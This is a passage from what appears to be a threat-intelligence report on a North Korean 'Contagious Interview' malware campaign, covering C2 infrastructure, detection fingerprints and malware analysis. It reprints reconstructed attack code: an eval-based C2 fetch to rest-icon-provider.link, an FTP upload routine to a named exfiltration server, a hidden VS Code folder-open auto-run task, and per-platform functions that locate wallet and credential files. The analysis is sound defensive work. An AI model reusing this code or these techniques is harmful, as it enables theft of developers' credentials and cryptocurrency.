185.235.241.208: RIPE NCC space, Netherlands) are in the same general geographic profile as our

investigation's C2 infrastructure (M247 European space). Both datasets use European hosting providers

and European IP blocks—consistent with the same operator group rotating to new IPs in the same

preferred provider category.

Hypothesis 2 — Parallel teams: Different Lazarus sub-teams (Teams 15/23/77 vs. Teams 99/5346)

may operate independent C2 infrastructure with no intentional overlap, using the shared FTP exfiltration

server and MongoDB Atlas as the only common backend.

competitor_c2_ips=(

  107.174.47.156    # Known Kinsing C2

  83.220.169.247    # Known TeamTNT C2

  51.38.203.146     # Competitor C2

  144.217.45.45     # Competitor C2

  107.174.47.181    # Competitor C2

  176.31.6.16       # Competitor C2

# ... 7 additional

)



Evidence for Hypothesis 2: The team-based compartmentalisation observed in the FTP directory

structure (separate namespaces per team) is consistent with teams having independent C2 frontend

infrastructure. Teams 99 and 5346 (our primary documented teams) may have been assigned different

C2 infrastructure from Teams 77 and 91 (which may have used the Unit 42 C2 IPs).

Hypothesis 3 — Geographic targeting: Different C2 infrastructure is used for different victim

geographic regions, with IPs located (or routed) to appear closer to victim targets.

Evidence against Hypothesis 3: Both the Unit 42 infrastructure and our infrastructure use European

IPs, making geographic targeting an unlikely explanation.

Assessment: Hypothesis 1 (temporal rotation) is assessed as the primary explanation, with Hypothesis

2 (parallel teams) as a contributing factor. The zero-overlap is not inconsistent with the same threat

actor group operating across multiple investigation windows separated by 14+ months.

Implication for investigators: Exhaustive C2 IP databases derived from single-point-in-time

investigations should not be treated as complete enumerations of Lazarus infrastructure. The

campaign's C2 footprint is substantially larger than any individual investigation captures, and the

complete historical infrastructure likely encompasses hundreds or thousands of distinct IP addresses

rotated over the 2023–2026 campaign period.

15.4 Infrastructure Fingerprinting for Future Detection

Despite IP rotation, certain infrastructure characteristics remain consistent across Lazarus C2 iterations

and enable proactive detection of new deployments:

Fingerprint 1 — SSL certificate pattern:

Fingerprint 2 — Port combinations:

Fingerprint 3 — HTTP response patterns:

Fingerprint 4 — FTP banner:

Subject: CN=filezilla-server (self-signed, common name "filezilla-server")

Algorithm: ecdsa-with-SHA256 on P-256 curve

Validity: Exactly 1 year from creation date

Significance: Self-signed FTP TLS certificates with this exact CN are characteristic

Pattern: Port 1224 (Express.js C2) + Port 1244 (admin) + Port 5918 (Python Waitress)

Significance: This port combination has not been observed in non-Lazarus infrastructure

Shodan query: port:1224 port:5918 -org:cloud

GET / on port 1224: 404 Not Found (no default route)

GET /api/version: {"version":"3.0.0"} (or 3.0.1 after patch)

Authentication endpoint: JSON-only, Content-Type enforced (path withheld)

Significance: These response patterns uniquely identify the BeaverTail C2 panel software

220-FileZilla Server 1.12.1

220 Please visit https://filezilla-project.org/

Significance: FileZilla Server 1.12.1 on FTP port 21 on Hetzner ASN is characteristic



Shodan queries for proactive detection:

These queries should be automated and monitored for new results on a weekly basis by defenders

tracking Lazarus infrastructure. New IP addresses matching these patterns likely represent newly-

deployed Lazarus C2 nodes and should be submitted immediately to threat intelligence feeds and

security authorities's Known Exploited Vulnerabilities / malicious infrastructure tracking systems.

# C2 panel fingerprint

port:1224 http.title:"" country:DE,NL,RO,SE,FI

# or

port:1224 org:M247 http.status:404

# FTP exfil server fingerprint

banner:"FileZilla Server 1.12.1" port:21 org:Hetzner

# Cryptominer Redis C2

port:6379 version:"Redis 8.6" country:CN,HK,US -auth_required

# Jenkins operations server

port:8080 product:Jenkins org:Contabo



Part IV — Malware Analysis

Chapter 16: BeaverTail — Qt-Based Cross-Platform Credential Stealer

16.1 Overview and Taxonomy

BeaverTail is the primary initial-access and credential-theft malware deployed by the Lazarus

Contagious Interview cluster. The name was introduced by Palo Alto Networks Unit 42 in their October

2024 report. BeaverTail is a first-stage malware with two distinct objectives: immediate credential and

wallet data theft, and installation of the second-stage InvisibleFerret RAT.

Observed variants and platforms:

Variant Platform Container Format Delivery Method

BeaverTail v1 (2023) macOS DMG disk image Fake video app installer

BeaverTail v2 Qt (2024) macOS,

Windows

DMG, MSI, EXE Fake MiroTalk/FreeConference app

BeaverTail v3 Node.js

(2025-2026)

Windows, Linux npm package / GitHub

repo

Coin-promoting repository, fake coding

assignment

BeaverTail v3 (Linux) Linux npm postinstall script GitHub coin-promoting repo

The shift from compiled Qt binaries (v2) to Node.js scripts (v3) in the 2025–2026 iteration represents an

architectural pivot that trades stealth for distribution scale. Node.js scripts are trivially inspectable by

technically sophisticated victims—but the campaign relies on the npm installation context and job-

interview framing to prevent suspicion.

16.2 The coin-promoting Repository (BeaverTail v3 Analysis)

The primary malware delivery vehicle for the January–February 2026 victim wave was the 

bitcoin2026a/coin-promoting  GitHub repository, a public repository presenting as a legitimate

cryptocurrency promotion project.

Metadata:

Infection mechanism (app/test/index.js):

GitHub account: bitcoin2026a

Created: January 16, 2026

Email: [DEVELOPER-EMAIL-REDACTED] (from Git commit metadata)

Commit timezone: UTC+7

Repository: coin-promoting (malicious) + TokenDapp (benign decoy)



The use of eval()  on server-returned content is the core dangerous primitive: it enables the C2 to

deliver arbitrary JavaScript execution to any machine that runs the package, without modifying the

locally-stored malware code. This means that antivirus software scanning the stored JavaScript finds no

directly malicious payload—the payload is downloaded at runtime and executed in memory.

The token value 212  is victim-specific, as confirmed by correlation with victim data: victim 77_[VICTIM-

HOSTNAME]  (first coin-promoting victim, February 5, 2026) had C:\Users\HP\Desktop\coin-promoting-

main\  in their infection path and a token of 212 in their C2 record—an exact match to the embedded

constant. Different deployment waves used different token values, enabling operators to partition victim

populations by campaign or team.

VS Code auto-execution attack surface: The coin-promoting  repository included a .vscode/

tasks.json  file with the runOn: folderOpen  directive:

// Obfuscated C2 callback — deobfuscated form:

const protocol = 'https',

      domain   = 'link',

      separator = '://',

      subdomain = 'rest-icon-provider',

      path     = '/icons/',

      token    = '212',

      bearrtoken = 'logo';

// Constructs URL: https://rest-icon-provider.link/icons/212

// Authorization header: bearrtoken: logo

// Method: GET

// Response: Second-stage InvisibleFerret payload URL or instructions

const fetch = require('node-fetch');

fetch(`${protocol}${separator}${subdomain}.${domain}${path}${token}`, {

headers: { 'bearrtoken': bearrtoken }

})

.then(res => res.json())

.then(data => eval(data.payload));

{

"version": "2.0.0",

"tasks": [

{

"label": "Start Dev Environment",

"type": "shell",

"command": "npm install && npm run start",

"runOptions": { "runOn": "folderOpen" },

"presentation": { "reveal": "never" }

}

]

}



When a victim opens the cloned repository folder in Visual Studio Code, VS Code automatically

executes npm install && npm run start —triggering the BeaverTail postinstall hook without any further

victim interaction. The "reveal": "never"  directive suppresses the terminal panel, making execution

invisible to the victim.

16.3 Cryptocurrency Wallet Targeting

BeaverTail targets cryptocurrency wallet browser extensions and standalone wallet applications through

two mechanisms:

Browser extension credential extraction (macOS/Windows Chrome, Firefox): BeaverTail locates

wallet extension data directories using hardcoded paths for specific Chrome extension IDs:

BeaverTail recursively copies the wallet extension's local data directory, which contains the encrypted

keystore files, user preferences, and session data sufficient for offline brute-force or decryption with

user-provided password.

Standalone wallet application targeting: On macOS, BeaverTail also targets:

~/Library/Application Support/Exodus/

~/Library/Application Support/Atomic/

FileZilla FTP configuration (for developer-oriented access to infrastructure)

SSH key directories ( ~/.ssh/ )

AWS credential files ( ~/.aws/credentials )

Browser password database extraction: On macOS, BeaverTail extracts the Chrome "Login Data"

SQLite database and the macOS Keychain for browser-saved passwords, using the macOS Security

framework to decrypt Keychain-protected credentials without requiring root privileges.

16.4 FTP Exfiltration Protocol

All collected material is packaged and transmitted to the FTP exfiltration server using FileZilla-

compatible FTP over TLS:

const walletExtensionIds = {

'MetaMask': 'nkbihfbeogaeaoehlefnkodbefgpgknn',

'Phantom': 'bfnaelmomeimhlpmgjnjophhpkkoljpa',

'Coinbase': 'hnfanknocfeofbddgcijnmhnfnkdnaad',

'TronLink': 'ibnejdfjmmkpcnlpebklmnkoeoihofec',

'Binance': 'fhbohimaelbohpjbbldcngcnapndodjp',

'Kaikas': 'jblndlipeogpafnldhgmapagcccfchpi',

'Coinhill': 'cnncmdhjacpkmjmkcafchppbnpnhdmon',

'CryptoCom': 'hifafgmccdpekplomjjkcfgodnhcellj',

'Rabby': 'acmacodkjbdgmoleebolmdjonilkdbch',

'ArgentX': 'dlcobpjiigpikoobohmabehhmhfoodbb',

'ExodusWeb3': 'aholpfdialjgjfinsifejlendnappfmb',

// Plus 2 additional wallet IDs not disclosed publicly

};

• 

• 

• 

• 

• 



The directory naming convention encodes the operator team and victim hostname in the upload path,

enabling operators to partition victim data by team for processing without querying a central database.

The upload occurs in the background after initial C2 registration, using a separate network connection

from the primary C2 communication channel—providing fallback exfiltration even if the C2 is

unreachable.

The exfiltration data structure per victim typically includes:

Browser extension wallet data directories

*.env  files from development project directories

SSH private keys from ~/.ssh/

~/.aws/credentials  and ~/.aws/config

FileZilla sitemanager.xml  (FTP credentials for development servers)

Git credential stores ( .git-credentials , .gitconfig )

NPM authentication tokens ( .npmrc )

Chapter 17: InvisibleFerret — Python Remote Access Trojan

17.1 Architecture and Delivery

InvisibleFerret is the second-stage RAT deployed by BeaverTail upon successful initial compromise. It is

written in Python and is delivered as a set of encrypted payload components fetched from the C2 and

executed in memory. The name "InvisibleFerret" was applied by Palo Alto Networks Unit 42 based on

internal code strings.

Component structure:

Component Filename Function

Initial downloader .npl Contacts C2, retrieves and decrypts remaining components

Main payload .n2/pay Core RAT: keylogging, remote shell, file management

Browser stealer .n2/bow Extracts browser credentials, cookies, browsing history

AnyDesk installer .n2/adc Installs AnyDesk for persistent remote access

Wallet archives .n1 , .n2 , .n3 Encrypted staging archives for wallet/key material

The staged architecture serves dual purposes: it reduces the initial footprint visible to endpoint

defences, and it enables C2-controlled selective deployment—not all components are delivered to all

victims. High-value targets (developers with significant wallet holdings or corporate infrastructure

access) may receive additional components not documented in public reporting.

FTP Server: 195.201.104.53:21

Credentials: [FTP-CRED-REDACTED]

Upload path: /10team/new/{team_id}_{hostname}/

• 

• 

• 

• 

• 

• 

• 



17.2 AnyDesk Component

The AnyDesk component ( .n2/adc ) installs AnyDesk, a legitimate remote desktop application, with

operator-controlled credentials. This provides operators with:

Graphical remote desktop access to victim workstations

Persistence via AnyDesk's system service (survives reboots)

Legitimate-application camouflage (AnyDesk is not malware; many security tools exempt it)

Interactive access for manual operations that cannot be automated (e.g., navigating multi-factor

authentication prompts on exchange websites)

The AnyDesk access ID and password are configured at install time using parameters delivered from

the C2, meaning investigators observing the installed AnyDesk binary cannot determine the operator's

control credentials from the victim system alone.

17.3 FTP Upload Structure and Team Organisation

InvisibleFerret organises its FTP uploads using the team-ID-based directory structure described in

Chapter 11. Analysis of the FTP server's /10team/new/  directory tree confirms at least nine distinct

team prefixes (15, 23, 77, 91, 92, 99, 105, 1021, 5346), each with separate victim subdirectories.

The exfiltration upload includes a structured JSON manifest file identifying the victim, team, and

contents:

The 77_  prefix on the victim ID 77_[VICTIM-HOSTNAME]  corresponds to Team 77's namespace. This

prefix is applied by the BeaverTail implant based on a hard-coded team constant embedded in the

specific malware build distributed by each team—enabling analysts to trace any victim data record back

to the responsible operator team.

17.4 Persistence Mechanism

InvisibleFerret installs persistence through platform-appropriate mechanisms:

Windows:

Registry Run Key: HKCU\Software\Microsoft\Windows\CurrentVersion\Run

• 

• 

• 

• 

{

"victim_id": "77_[VICTIM-HOSTNAME]",

"team": 77,

"hostname": "[EXAMPLE-HOSTNAME]",

"os": "Windows 10",

"username": "HP",

"ip": "x.x.x.x",

"country": "NG",

"infected_at": "2026-02-05T06:55:12Z",

"files_uploaded": [

"chrome_passwords.db",

"metamask_extension_data.zip",

"aws_credentials.txt"

]

}

• 



Scheduled Task: Hidden task with random name, runs at logon

Startup folder shortcut

macOS:

~/Library/LaunchAgents/  plist file with random bundle ID

Script placed in ~/.bash_profile  or ~/.zshrc  (for shell-based re-execution)

Linux:

User crontab entry ( @reboot python3 ~/.config/[random]/.npl )

.bashrc / .profile  hook for interactive shell persistence

Chapter 18: OtterCookie — Variant and Delivery Chain

18.1 Technical Characterisation

OtterCookie is a third malware component observed in this campaign that operates in parallel with

InvisibleFerret. Its name was not used in prior vendor reports and was applied in this investigation based

on operational context. OtterCookie is architecturally simpler than InvisibleFerret: it is a stream-based

exfiltration daemon that continuously monitors the victim's filesystem for new files matching specific

patterns and uploads them to a write-only sink server.

Exfiltration protocol (reverse-engineered, Wave 135):

OtterCookie's write-only design means it does not receive commands from the server—it only sends.

This makes it extremely difficult to detect through outbound connection analysis alone, as the POST

requests resemble legitimate web API calls. Its unauthenticated upload endpoint means that even if the

implant's network connection is monitored, there is no credential visible to capture.

The dual-port design (6109 and 6939) provides failover: if one port is filtered by a victim's corporate

firewall, the implant automatically attempts the alternate.

18.2 Socket.IO Component

A related component identified via nmap service fingerprinting on 144.172.108.236  implements a

Socket.IO persistent connection for bidirectional real-time communication. Unlike OtterCookie's HTTP

POST model, the Socket.IO component maintains a persistent WebSocket connection to the C2,

enabling interactive operator access and real-time command delivery.

This bidirectional channel is likely the mechanism through which operators deliver AnyDesk

configuration payloads and execute interactive commands on high-value victim machines—while

OtterCookie handles the autonomous bulk-exfiltration workload.

• 

• 

• 

• 

• 

• 

Target: 195.201.104.53:6109 (primary) or :6939 (secondary)

Method: HTTP POST /upload (unauthenticated)

Format: { "path": "<file_path>", "data": "<base64>" }

Pattern: Monitor ~/.ssh/, ~/.aws/, .env files, wallet directories

Frequency: Poll every 60 seconds for new/modified files



Chapter 19: The Cryptominer Dual-Track (kworker + javae)

19.1 Stage 1: kworker Dropper Script

File metadata:

The dropper is a Bash shell script of 636 lines—unusually large for a dropper, reflecting the many

defensive evasion tasks it must perform before being able to mine profitably in a competitive multi-

tenant cloud environment.

Dropper functional breakdown:

Section 1 — Security Agent Removal (lines 40-80):

Target Action

Alibaba Cloud agents (aliyun-service, AliYunDun) Process termination + service disable

Tencent Cloud agents (YDService, barad_agent) Process termination

Generic EDR/monitoring (bcm-agent, node_exporter) Process termination

Linux firewall (ufw, iptables, SELinux) Disable/flush

The specificity of cloud provider security agents targeted reveals the operator's intended victim profile:

this dropper was designed for cloud VPS instances on Alibaba Cloud and Tencent Cloud—the two

largest Chinese cloud providers—as well as generic enterprise deployments. The cloud provider

coverage is consistent with the geographic distribution of confirmed victims (12 Chinese systems in the

Shodan victim inventory). Exact kill commands are withheld.

Section 2 — Competitor Elimination (lines 138-241):

Over 200 competing cryptominer process signatures are enumerated and killed, followed by firewall-

level blocking of 13 hardcoded competitor C2 IP addresses.

Mechanism Scope Effect

Process kill by name 200+ competitor process signatures Terminates running competing miners

Firewall OUTPUT block 13 competitor C2 IP addresses Prevents re-download/restart of killed processes

Targeted families include Kinsing, TeamTNT, watchbog, and generic XMRig variants. The IP-blocking

step is particularly effective: even if a competing miner binary survives the kill, it cannot receive restart

commands from its C2. Exact kill lists and firewall commands are withheld.

Section 3 — Binary Modification (lines 490-562):

The dropper replaces /bin/ps , /bin/top , and /bin/pstree  with wrapper scripts that pipe standard

output through a filter removing the miner's process name ( javae ). Original binaries are preserved with

a .original  suffix.

Filename: kworker_sample1.sh

Size: 36,864 bytes (36 KB)

Lines: 636

Type: POSIX shell script, ASCII text

MD5: fea52ab0cc2717301b0e197bbfec894f

Distribution URLs:

  http://34.70.205.211/plugins-dist/safehtml/lang/font/kworker

  http://38.150.0.118/dewfhuewr4r89/98hy67//kworker



Modified binary Effect on admin

/bin/ps ps aux  shows no javae  process

/bin/top top  does not list miner

/bin/pstree Process tree omits miner

Detection: check for /bin/ps.original  — its presence indicates the wrapper replacement has

occurred. The .original  binaries are the unmodified system tools. Wrapper implementation details are

withheld.

Section 4 — Persistence (lines 470-510):

Persistence mechanism Location Protection

Cron job (*/50 min) /etc/crontab , /etc/cron.d/javae chattr +ia  (immutable + append-only)

Cron job (*/30 min) /var/spool/cron/root chattr +ia

SSH backdoor key (uc1) /root/.ssh/authorized_keys chattr +ia

The chattr +ia  filesystem attribute prevents cron entries and the SSH backdoor from being modified or

deleted by root without first removing the attribute ( chattr -ia ). Detection and removal guidance: see

Chapter 57 remediation section. Exact cron expressions and SSH key values withheld.

Section 5 — Lateral Movement (lines 626-631):

The dropper extracts IP addresses from /root/.ssh/known_hosts  on the infected system and attempts

SSH login to each using the installed backdoor key. Successful connections execute a remote

download-and-run of the dropper, spreading infection to previously-trusted systems within the victim's

infrastructure.

Step Action

1 Parse ~/.ssh/known_hosts  for IP addresses

2 Attempt SSH connection using installed backdoor key

3 Execute remote dropper download on each reachable host

This step is why a single cloud developer workstation infection can propagate to an entire corporate

VPS fleet — all previously SSH-connected hosts are discovery targets. Exact SSH command details

withheld.

The dropper installs a private key (corresponding to the uc1  public key deployed to authorized_keys )

and attempts to authenticate to every IP address previously contacted by the victim system. In cloud

environments where developers SSH between multiple VPS instances, this can propagate the infection

laterally across entire development infrastructure without any network scanning.

19.2 Stage 2: javae XMRig Binary

File metadata:



Binary identification strings:

Embedded mining configuration:

The donate-level: 1  setting preserves the XMRig project's 1% developer fee—creating the ironic

situation where DPRK-operated mining operations contribute 1% of their revenue to the open-source

XMRig developers. The pool.supportxmr.com:8080  pool is a legitimate, widely-used Monero mining

pool; the attacker-controlled wallet address is passed at runtime via command-line parameters not

embedded in the binary.

Compilation analysis:

The use of GCC 15.2.0 (a compiler released in approximately late 2025) confirms this binary was

compiled in late 2025 or early 2026, placing the compilation timeline consistent with the campaign's

active period. The choice of static linking eliminates any dependency on target system library versions—

the binary runs identically on any Linux kernel version 3.2.0 or newer, including container environments.

Filename: javae_miner.bin

Size: 5,685,096 bytes (5.5 MB)

Type: ELF 64-bit LSB executable, x86-64

Linking: Statically linked (no external library dependencies)

Build ID: 5eb5d1bc4b90d6dfae8a36f6a4563d2e618fa887

Target: GNU/Linux 3.2.0+

Stripped: Yes (debugging symbols removed)

Entry Point: 0x40f360

MD5: 3a5ae2dbf4ddb2b2d3850342b887431e

xmrig

randomx.xmrig.com:3333

api.xmrig.com

donate.v2.xmrig.com

pool.supportxmr.com:8080

cryptonight-monerov7

cryptonight-monerov8

monero

{

"http": { "memory-pool": false },

"donate-level": 1,

"donate-over-proxy": 1,

"pools": [

{ "url": "pool.supportxmr.com:8080" }

]

}

Build toolchain: GCC 15.2.0 (released late 2025)

Optimisation: CPU-specific optimisations enabled

HWLOC version: 2.12.1 (hardware locality library)

Static linking: All dependencies bundled



Chapter 20: MITRE ATT&CK Framework Mapping

The following matrix maps observed Lazarus Contagious Interview TTPs to MITRE ATT&CK Enterprise

framework technique IDs:

Initial Access

Techni

que ID

Name Campaign Implementation

T1195.

002

Supply Chain Compromise:

Software Supply Chain

197+ malicious npm packages (stardev0914 GitHub); XORIndex loader (9,000+ downloads);

coin-promoting GitHub repository (31,000+ combined downloads)

T1566.

002

Phishing: Spearphishing

Link

LinkedIn, X, Reddit recruiter personas delivering links to malicious repositories or fake

interview platforms

T1204.

002

User Execution: Malicious

File

Developer executes npm install  on cloned repository; VS Code auto-executes via

.vscode/tasks.json runOn:folderOpen

Execution

Technique

ID

Name Campaign Implementation

T1059.007 Command and Scripting Interpreter:

JavaScript

Node.js BeaverTail implant; obfuscated C2 callback via eval()  on server-

returned JavaScript

T1059.004 Command and Scripting Interpreter:

Unix Shell

kworker dropper (636-line Bash script); cr.sh Redis worm; cb.txt scanner

installer

T1059.006 Command and Scripting Interpreter:

Python

InvisibleFerret Python RAT ( .npl , .n2/pay , .n2/bow , .n2/adc
components)

Persistence

Techni

que ID

Name Campaign Implementation

T1554 Compromise Client

Software Binary

BeaverTail installed via npm postinstall hook; persists as backdoored package in 

node_modules/

T1547.

001

Boot/Logon Autostart

Execution: Registry Run

Keys

InvisibleFerret Windows persistence via 

HKCU\Software\Microsoft\Windows\CurrentVersion\Run

T1053.

003

Scheduled Task/Job: Cron kworker cron jobs (*/50 and */30 minute intervals, daily at 1 AM); protected via chattr +ia
immutable attribute

T1098.

004

Account Manipulation: SSH

Authorized Keys

SSH backdoor key ( uc1  public key) installed to /root/.ssh/authorized_keys ; made

immutable

T1176 Browser Extensions AnyDesk installed as persistent remote-access mechanism ( .n2/adc  component)

Defence Evasion

Techniq

ue ID

Name Campaign Implementation

T1070.00

3

Indicator Removal: Clear

Command History

kworker clears ~/.bash_history , /var/log/syslog , /var/log/
wtmp , /var/log/secure

T1036.00

5

Masquerading: Match Legitimate

Name or Location

javae process masquerades as Java application; kworker dropper mimics Linux kernel

thread name

T1027 Obfuscated Files or Information BeaverTail JavaScript C2 URL split across multiple string concatenations; XORIndex

loader uses XOR encryption



Techniq

ue ID

Name Campaign Implementation

T1562.00

1

Impair Defences: Disable or

Modify Tools

kworker kills Alibaba Aegis, Tencent YunJing, BCM-agent, SELinux, AppArmor, ufw,

iptables

T1564.00

1

Hide Artifacts: Hidden Files and

Directories

Malware binary /tmp/.javae  with leading dot; staging directory /tmp/.ice-
unix/

T1222.00

2

File and Directory Permissions

Modification

chattr +ia  on cron files, SSH authorized_keys, malware binaries to prevent

deletion by root

T1014 Rootkit kworker modifies /bin/ps , /bin/top , /bin/pstree  to hide javae
process from standard process listings

Credential Access

Techniq

ue ID

Name Campaign Implementation

T1555.0

03

Credentials from Password

Stores: Web Browsers

BeaverTail extracts Chrome/Firefox password databases (macOS, Windows)

T1552.0

01

Unsecured Credentials:

Credentials In Files

Exfiltration of .env , .aws/credentials , .gitconfig , .npmrc , 

sitemanager.xml  (FileZilla)

T1539 Steal Web Session Cookie InvisibleFerret .n2/bow  browser stealer captures session cookies for exchanges and

corporate SaaS

T1552.0

04

Unsecured Credentials:

Private Keys

SSH private keys from ~/.ssh/ ; cryptocurrency wallet private keys and mnemonic

phrases

T1528 Steal Application Access

Token

GitHub PATs from ~/.gitconfig ; AWS access keys; Supabase service role keys;

OpenAI API keys

Collection

Technique

ID

Name Campaign Implementation

T1005 Data from Local System Cryptocurrency wallet extension data directories; SSH keys; cloud credentials; IDE project

files

T1560.001 Archive Collected Data .n1 , .n2 , .n3  staging archives (encrypted) created by InvisibleFerret for batch

processing

T1056.001 Input Capture:

Keylogging

InvisibleFerret .n2/pay  main payload implements keylogging

T1113 Screen Capture InvisibleFerret provides screenshot capability for operator review of victim desktop

Exfiltration

Technique

ID

Name Campaign Implementation

T1048.003 Exfiltration Over Alternative Protocol:

FTP

BeaverTail exfiltrates via FileZilla-compatible FTP to 195.201.104.53:21

T1048.002 Exfiltration Over Alternative Protocol:

HTTP

OtterCookie exfiltrates via unauthenticated HTTP POST to

195.201.104.53:6109/6939



Command and Control

Technique

ID

Name Campaign Implementation

T1071.001 Application Layer Protocol: Web

Protocols

BeaverTail C2 via HTTPS GET to rest-icon-provider.link; InvisibleFerret via

HTTPS

T1573.001 Encrypted Channel: Symmetric

Cryptography

C2 traffic encrypted via TLS; XORIndex payload uses XOR key encryption

T1090.001 Proxy: Internal Proxy Jumpbox at 146.70.41.152 used as relay for C2 panel access

T1102 Web Service Vercel serverless platform used for C2 hosting; GCP for distribution server

Impact

Technique

ID

Name Campaign Implementation

T1496 Resource

Hijacking

XMRig cryptominer (javae) harvests CPU resources of 36,000-72,000 estimated infected systems for

Monero mining

T1657 Financial Theft Cryptocurrency wallet seeds and private keys exfiltrated and drained; $204M+ confirmed stolen



Part IV — Malware Analysis (Expanded)

Chapter 16 (Expanded): BeaverTail — Full Static Analysis

16.5 JavaScript Deobfuscation Methodology

The BeaverTail JavaScript payload (as found in coin-promoting/app/test/index.js) uses multiple layers of

obfuscation designed to defeat static analysis tools while remaining executable by the Node.js runtime.

The full deobfuscation chain is documented here:

Layer 1 — String concatenation splitting:

The C2 URL is split across 6 separate variable declarations:

While superficially simple, this splitting prevents naive URL-matching tools (which look for https://

followed by a domain) from detecting the C2 URL without executing the code. The domain is never

assembled as a literal string anywhere in the file.

Layer 2 — Dynamic require()  calls:

Dynamic property access on require  defeats simple static import analysis (which looks for 

require('...')  patterns with string literals).

Layer 3 — eval()  on server response:

// Obfuscated form (original source):

const protocol='https',domain='link',separator='://',

      path='/icons/',token='212',

      subdomain='rest-icon-provider',bearrtoken="logo";

// Concatenation to construct URL:

const c2_url = protocol + separator + subdomain + '.' + domain + path + token;

// Result: "https://rest-icon-provider.link/icons/212"

// Obfuscated form:

const { r: rq } = require;

const fetchModule = rq('node-fetch');

// Deobfuscated equivalent:

const fetchModule = require('node-fetch');

fetchModule(c2_url, { headers: { 'bearrtoken': bearrtoken }})

.then(response => response.json())

.then(data => {

if (data && data.payload) {

eval(data.payload); // Layer 3: arbitrary code from C2

  }

});



The eval()  of server-returned content enables the C2 to deliver any JavaScript without modifying the

stored file. Static analysis tools cannot determine what data.payload  will contain—it is entirely server-

controlled at runtime. This is the most powerful obfuscation layer: the actual malicious payload (wallet

exfiltration, credential collection, InvisibleFerret download) is never present in the locally-stored file and

only materialises in memory during execution.

C2 response payload structure (reconstructed from C2 database artefacts):

16.6 Cross-Platform Wallet Path Resolution

BeaverTail's wallet targeting requires knowledge of platform-specific paths for each wallet type. The

complete path resolution logic (reconstructed from analysis of multiple BeaverTail samples across

platforms) is:

macOS wallet paths:

// Payload served by rest-icon-provider.link/icons/212

// (reconstructed from C2 operation logs)

{
"payload": "(function() {\n  // BeaverTail core functions\n  const os = require('os');

\n  const path = require('path');\n  const fs = require('fs');\n  const ftp = 
require('basic-ftp');\n \n  // Victim fingerprinting\n  const hostname = os.hostname();
\n  const username = os.userInfo().username;\n  const platform = os.platform();\n  const 
arch = os.arch();\n \n  // Collect wallet extension data\n  const walletPaths = 
getWalletPaths(platform);\n \n  // FTP exfiltration\n  async function 
uploadData(localPath, remotePath) {\n    const client = new ftp.Client();\n    await 
client.access({\n      host: '195.201.104.53',\n      user: '10team',\n      password: 
'[REDACTED]',\n      secure: true\n    });\n    await client.uploadFrom(localPath, 
remotePath);\n    client.close();\n  }\n \n  // Main execution\n  collectAndUpload();
\n})()",

"team": 99,

"next_payload": "https://rest-icon-provider.link/icons/212/stage2"

}



Windows wallet paths:

function getWalletPathsMacOS(username) {

const home = `/Users/${username}`;

const chromePath = `${home}/Library/Application Support/Google/Chrome/Default/Extensions/`;

const firefoxPath = `${home}/Library/Application Support/Firefox/Profiles/`;

return {

// Browser extension wallets

metamask: `${chromePath}nkbihfbeogaeaoehlefnkodbefgpgknn/`,

phantom: `${chromePath}bfnaelmomeimhlpmgjnjophhpkkoljpa/`,

coinbase: `${chromePath}hnfanknocfeofbddgcijnmhnfnkdnaad/`,

tronlink: `${chromePath}ibnejdfjmmkpcnlpebklmnkoeoihofec/`,

binanceWallet:`${chromePath}fhbohimaelbohpjbbldcngcnapndodjp/`,

kaikas: `${chromePath}jblndlipeogpafnldhgmapagcccfchpi/`,

rabby: `${chromePath}acmacodkjbdgmoleebolmdjonilkdbch/`,

argentX: `${chromePath}dlcobpjiigpikoobohmabehhmhfoodbb/`,

exodusWeb3: `${chromePath}aholpfdialjgjfinsifejlendnappfmb/`,

// Standalone wallets

exodus: `${home}/Library/Application Support/Exodus/`,

atomic: `${home}/Library/Application Support/atomic/`,

electrum: `${home}/.electrum/wallets/`,

// Developer credentials

ssh_keys: `${home}/.ssh/`,

aws_creds: `${home}/.aws/`,

gitconfig: `${home}/.gitconfig`,

npmrc: `${home}/.npmrc`,

filezilla: `${home}/.config/filezilla/sitemanager.xml`,

// Browser passwords

chromePassDb:`${home}/Library/Application Support/Google/Chrome/Default/Login Data`,

firefoxCerts:`${firefoxPath}*.default*/logins.json`,

  };

}



Linux wallet paths:

The Linux wallet collection is notably more aggressive about searching for .env  files recursively across

the entire home directory and node_modules—reflecting the Linux-developer profile of the victim. Linux

users in the cryptocurrency space are overwhelmingly developers, not retail wallet users, so the data

most likely to yield value is project-level environment variables rather than consumer wallet software.

function getWalletPathsWindows(username) {

const appdata = `C:\\Users\\${username}\\AppData`;

const roaming = `${appdata}\\Roaming`;

const local = `${appdata}\\Local`;

const chromePath = `${local}\\Google\\Chrome\\User Data\\Default\\Extensions\\`;

return {

// Browser extension wallets (same extension IDs, different paths)

metamask: `${chromePath}nkbihfbeogaeaoehlefnkodbefgpgknn\\`,

phantom: `${chromePath}bfnaelmomeimhlpmgjnjophhpkkoljpa\\`,

// Standalone wallets

exodus: `${roaming}\\Exodus\\`,

atomic: `${roaming}\\atomic\\Local Storage\\`,

// Developer credentials

ssh_keys: `C:\\Users\\${username}\\.ssh\\`,

aws_creds: `C:\\Users\\${username}\\.aws\\`,

gitconfig: `C:\\Users\\${username}\\.gitconfig`,

// Browser passwords

chromePassDb:`${local}\\Google\\Chrome\\User Data\\Default\\Login Data`,

  };

}

function getWalletPathsLinux(username) {

const home = `/home/${username}`;

const config = `${home}/.config`;

const chromePath = `${config}/google-chrome/Default/Extensions/`;

return {

metamask: `${chromePath}nkbihfbeogaeaoehlefnkodbefgpgknn/`,

// Standalone wallets

exodus: `${home}/.config/Exodus/`,

electrum: `${home}/.electrum/wallets/`,

// Developer credentials

ssh_keys: `${home}/.ssh/`,

aws_creds: `${home}/.aws/`,

gitconfig: `${home}/.gitconfig`,

npmrc: `${home}/.npmrc`,

env_files: `${home}/**/.env`,

// Development project environments

node_env: `${home}/**/node_modules/**/.env`,

docker_env: `${home}/**/*.env`,

  };

}



16.7 Chrome Password Database Extraction (macOS)

On macOS, Chrome stores passwords in a SQLite database encrypted with a key derived from the

macOS Keychain. BeaverTail extracts this using the macOS Security framework:

The macOS Keychain access does not require a separate prompt if the malware runs in the context of

the logged-in user (which BeaverTail does via the npm postinstall hook). macOS Keychain security

relies on the assumption that code running as the user is trusted by the user—BeaverTail violates this

assumption.

16.7 XOR-Encrypted npm Loader (XORIndex) — RE Deep Dive

The June 2025 XORIndex/HexEval wave used a fundamentally different obfuscation strategy from the

later JavaScript BeaverTail payloads: a binary-compatible XOR encryption layer over a recursively Zlib-

compressed payload. This made the initial npm package appear to contain only a small, innocuous-

